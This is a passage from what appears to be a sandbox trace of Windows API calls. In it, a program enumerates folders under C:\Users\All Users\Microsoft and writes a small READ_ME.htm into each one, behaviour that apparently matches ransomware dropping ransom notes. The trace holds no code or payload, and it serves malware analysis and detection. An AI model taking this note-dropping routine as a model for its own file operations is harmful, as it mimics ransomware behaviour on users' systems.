FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 1 [0142.016] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 0 [0142.016] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.017] SetErrorMode (uMode=0x0) returned 0x1 [0142.017] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x25 [0142.017] SetErrorMode (uMode=0x1) returned 0x0 [0142.017] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.017] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.017] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.017] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca3defb0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca3defb0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca4c37f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2515.tmp", cAlternateFileName="")) returned 1 [0142.017] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 1 [0142.017] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 0 [0142.017] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.018] SetErrorMode (uMode=0x0) returned 0x1 [0142.018] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0142.018] SetErrorMode (uMode=0x1) returned 0x0 [0142.018] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.018] SetErrorMode (uMode=0x0) returned 0x1 [0142.018] GetFileType (hFile=0x1d0) returned 0x1 [0142.018] WriteFile (in: hFile=0x1d0, lpBuffer=0x29511d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29511d0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.020] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0142.020] SetErrorMode (uMode=0x1) returned 0x0 [0142.020] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\rac\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.020] SetErrorMode (uMode=0x0) returned 0x1 [0142.020] GetFileType (hFile=0x1d0) returned 0x1 [0142.020] WriteFile (in: hFile=0x1d0, lpBuffer=0x2955750*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2955750*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search", lpFilePart=0x0) returned 0x23 [0142.021] SetErrorMode (uMode=0x1) returned 0x0 [0142.021] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0142.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.022] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.022] SetErrorMode (uMode=0x0) returned 0x1 [0142.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search", lpFilePart=0x0) returned 0x23 [0142.023] SetErrorMode (uMode=0x1) returned 0x0 [0142.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0142.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.023] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.023] SetErrorMode (uMode=0x0) returned 0x1 [0142.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x28 [0142.024] SetErrorMode (uMode=0x1) returned 0x0 [0142.024] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0142.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0142.024] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.024] SetErrorMode (uMode=0x0) returned 0x1 [0142.025] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x28 [0142.025] SetErrorMode (uMode=0x1) returned 0x0 [0142.025] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0142.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0142.025] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.025] SetErrorMode (uMode=0x0) returned 0x1 [0142.026] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x35 [0142.027] SetErrorMode (uMode=0x1) returned 0x0 [0142.027] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.027] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.027] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb220a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.027] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0142.027] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0142.027] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.027] SetErrorMode (uMode=0x0) returned 0x1 [0142.027] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x35 [0142.027] SetErrorMode (uMode=0x1) returned 0x0 [0142.028] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.028] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 